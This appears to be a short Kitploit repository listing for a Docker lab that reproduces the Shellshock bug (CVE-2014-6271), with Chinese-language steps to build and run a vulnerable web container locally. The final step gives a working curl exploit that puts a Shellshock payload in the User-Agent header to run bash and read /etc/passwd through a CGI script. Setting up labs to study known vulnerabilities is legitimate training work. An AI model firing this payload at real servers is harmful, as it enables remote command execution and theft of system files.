docker_CVE-2014-6271. | Kitploit
pilou-pilou/docker_cve-2014-6271.docker_CVE-2014-6271.
9年前
docker_CVE-2014-6271.
- docker build -t DOCKERIMAGENAME /path/to/dockerfile_directory
- docker run -it -d -p 8080:80 DOCKERIMAGENAME
- 使用以下命令验证执行情况:docker ps
- 验证 Web 服务器运行情况:http://localhost:8080
- 利用漏洞:
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \http://localhost:8080/cgi-bin/vulnerable